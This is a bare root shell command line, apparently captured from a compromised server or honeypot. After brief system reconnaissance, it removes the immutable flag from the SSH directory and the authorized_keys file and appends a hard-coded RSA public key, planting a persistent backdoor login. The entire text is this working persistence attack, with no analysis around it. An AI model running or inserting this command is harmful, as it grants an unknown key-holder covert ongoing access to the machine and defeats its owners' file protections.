root@app-01:~# uname -a && nproc && sh -c 'cd ~ && \
mkdir -p .ssh && \
chattr -i .ssh 2>/dev/null || true && \
cd .ssh && \
chattr -i authorized_keys 2>/dev/null || true && \
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCKP+xLfcTviQxH8LDPjVtVlhI1q0gxPW+7SBos9wwEFEuyFyvFwZPiZTqJ7hhhJ5guvkGhNawhqPbjGwlSh/UMtdX+T5XVMhYnC07lHp3FYbji1fiHDB1rj6PD0pn52jJVS8QGNugt0wS4jl+Tt1RRxP45PVdVhIOiDJpHtmk1jzXWrFDyFxgjxbY8rWIO1I7bb+KV0YA5YP5m7nzh0LwqC3T0gLeOo5xOInwL6tH0WtErD4bjvloELJ2Em+qvTaR+d81XTQNesXYqm9f0CVZ6dXh82VjwmE9KldWVpP3fxEfliyjcJ0UMTgiIhxIw44Rr/Cp2OR5V2Ky+/ExzAjAR $(whoami)@$(hostname)" >> authorized_keys && \
chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keys'